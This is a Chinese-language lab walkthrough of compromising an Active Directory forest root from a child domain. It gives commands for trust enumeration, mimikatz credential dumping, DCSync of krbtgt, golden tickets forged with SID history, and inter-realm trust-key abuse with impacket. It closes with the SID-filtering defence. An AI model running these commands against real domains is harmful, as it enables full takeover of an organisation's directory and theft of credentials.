域林渗透
再去的了域林中某个子域的控制权先后,如何通过子域横向移动到林根域进而控制整个域林?
实验如下
xie.com 林根域
shanghai.xie.com和beijing.xie.com都是xie.com的子域。shanghai.xie.com域内有个主机win2008R2,beijing.xie.com域内主机win10.
现在通过某种方是获得了主机win2008的权限,并通过执行相应命令的值主机Win2008在shnghai.xie.com内。通过查询域信任关系可以知道当前域林有三个域
net time domain -->查看当前域内名字以及时间
nltest /domain_trusts查看域信任关系
利用CS的mimikatz模块抓取当前机器登录用户的凭据。
现在需要通过该机器以及获取到的信息进行域林横向渗透。
收集信息
进一步查询查询3个域的域控。查询手段有很多,这里用adfind
#xie.com
adfind -b dc=xie,dc=com -sc dclist
#shanghai.xie.com的域控
adfind -b dc=shanghai,dc=xie,dc=com -sc dclist
#beijing.xie.com的域控
adfind -b dc=beijing,dc=xie,dc=com -sc dclist
查询到的信息如下
xie.com--AD 10.211.55.4 AD02:10.211.55.13
shanghai.xie.com -- SH-AD 10.211.55.13
beijing.xie.com -- BJ-AD 10.211.55.14
查询域管理员以及企业管理员
为后面的权限提升做准备,查询手段很多 这里用adfind
#域内林根域的企业管理员
adfind.exe -b "CN=enterprise Adminis,CN=Users,DC=xie,DC=com" member
#查询林根域的域管理员
adfind.exe -b "CN=Domain Admins,CN=Users,DC=xie,DC=com" member
#beijing.xie.com的域管理员
adfind.exe -b "CN=Domain Admins,CN=Users,DC=beijing,DC=xie,DC=com" member
#shanghai.xie.com的域管理员
adfind.exe -b "CN=Domain Admins,CN=Users,DC=shanghai,DC=xie,DC=com" member
查询结果
xie.com -->域管理员 administrator,admin 企业管理员administrator
shanghai.xie.com --> 域管理员 administrator,sh_admin
beijing.xie.com -->域管理员 administrator,bj_admin
判断是否具有sid history
import-module activedirectory
get-aduser hack -properties sidhistory
跨域横向攻击
假设已经获得某个子域的域控权限,需要跨域横向获取林根域xie.com
1 获取子域权限
通过CS内置的mimikatz抓取shanghai.xie.com的域管administrator的hash为af1129xxxx明文解码为password
通过secretsdump.py 脚本并利用该域管凭据导出当前域shanghai.xie.com的任意用户hash,但是我们到处krbtgt的hash
python3 secretsdump.py shanghai/administrator:password -just-dc-user "shanghai\krbtgt"
tips:
子域shanghai.xie.com的域管无法通过DCSync导出林根域xie.com和另一个子域beijing.xie.com
常见的SID:Domain Admins(S-1-5-domain-512)、Domain Users(S-1-5-domain-513)、Administrator(S-1-5-domain-500)、Enterprise Admins(S-1-5-root domain-519)、Domain Admins(S-1-5-domain-515)
黄金票据+sid history获得林根域权限
解析:Sid history是Windows Active Directory中的一个属性,它允许用户在不同的域之间移动或重建其帐户时保留其原始安全标识符(SID)。当用户从一个域移动到另一个域时,他们的帐户将被重新创建,但是他们的SID history将被保留,以便他们可以继续访问以前授予他们访问权限的资源。这可以减少在域之间移动用户时需要重新配置访问权限的工作量
首先需要获取当前域shanghai.xie.com的域SID以及林根域xie.com的enterprise admins 的SID 通过adfind和ADExplorer查询
shanghai.xie.com的sid S-1-5-21-909331...
xie.com的enterprise admins 的sid为S-1-5-21-131397...
shanghai.xie.com的用户krbtgt通过secretsdump.py导出为17016f...
通过mimikatz执行如下命令进行黄金票据+sidhistory攻击 完成后即可导出林根域xie.com用户krbtgt的hash
#生成林根域的黄金票据
kerberos::golden /user:administrator /domain:shanghai.xie.com /sid:S-1-5-21-909331 /krbtgt:17016f.... /sids:S-1-5-21-131397... /ptt
#导出林根域的krbtgt的hash
lsadump::dcsync /domain:xie.com /user:xie\krbtgt /csv
结果 xxx
502 krbtgt 43b58dxxxxx 514
inter-realm key+sid history获取林根域权限
跨域资源访问
客户端<--AS-REQ & AS-REP--->A域域控
客户端<--TGS-REQ & TGS-REP --->A域域控
客户端< TGS-REQ TGS-REP > B域域控 A域域控 ---inter-realm key 共享 ---B域域控
客户端 < AP-REQ & AP-REP > B域资源 B域域控 ---PAC验证---B域资源
只要我们获得inter-realm key就能访问其他域人以服务的ST,在ST中加上企业管理员的sid history,就可以访问域林中的任意服务
如何获得inter-realm key呢?---》获得雨林中任意域的域控权限,通过相关工具查询出inter-realm key。
mimikatz获得inter-realm key
1.获得该key
在shanghai.xie.com的域控SH-AD上通过mimikatz执行如下命令获取inter-realm key的值
mimikatz.exe "privilege::debug" "lsadump::trust /patch" "exit"
lsadump::trust /patch获得的信息
current domain:SHANGHAI.XIE.COM (SHANGHAI / S-1-5-21-909331xxxx)
domian xie.com (XIE /S-1-5-21-131397xxxx)
获得rc4_hmac_nt的值为0f81015ca4691b714e9dbxxxx;
shanghai.xie.com的域sid=S-1-5-21-909331xxxx
xie.com的enterprise adminssid = S-1-5-21-131397xxxx
2.通过impacket进行攻击
获得inter-realm key后,利用impacket执行如下命令进行攻击。
#生成高权限的黄金票据
python3 ticketer.py -nthash 0f81015ca...(shanghai rc4的hash) -domain-sid S-1-5-21-909331XXX -extra-sid S-1-5-21-131397(xie.com enterprise admins sid) -domain shanghai.xie.com -spn krbtgt/xie.com administrator
结果:saving ticket in administrator.ccache
#导入票据
export KRB5CCNAME=adinistrator.ccache
#获取cifs/ad.xie.com的ST
pyton3 getST.py -debug -k -no-pass -spn cifs/ad.xie.com -dc-ip 10.211.55.4 xie.com/administrator
#远程连接林根域控
python3 smbexec.py -no-pass -k shanghai.xie.com/administrator@ad.xie.com
#导出林根域内的用户krbtgt的hash
python3 secretsdump.py -no-pass -k shanghai.xie.com/administrator@ad.xie.com -just-dc-user "xie\krbtgt"
域林防御
同一个域林内部,sid history属性由于没有被sid过滤机制保护,因此攻击者可以利用sid history属性进行权限提升。而在跨林的与信任关系中,sid history属性被sid过滤机制保护,攻击者无法通过sid history属性进行跨林横向。
所以最佳防御手段就是SID过滤
1.工作
sid过滤是在域创建安全主体时,域的sid会包含在该安全主体的sid中,以标识创建它的域
跨林的与信任关系中,将闯入安全主体的sid中的域sid和受信任的域sid进行比较,如果任何安全主体的sid中的域sid不是受信任域的sid,则将删除有问题的sid。sid过滤确保对受信任的林的安全主体的sidhistory属性的任何误用
2.开启sid过滤
需要手动开启
netdom执行如下命令开启shanghai.xie.com 到xie.com的sid过滤
netdom trust /d:shanghai.xie.com xie.com /quarantine:yes
方法二 禁用sid history
netdom trust /d:shanghai.xie.com xie.com /EnableSIDHistory:no
netdom trust /d:beijing.xie.com xie.com /EnableSIDHistory:no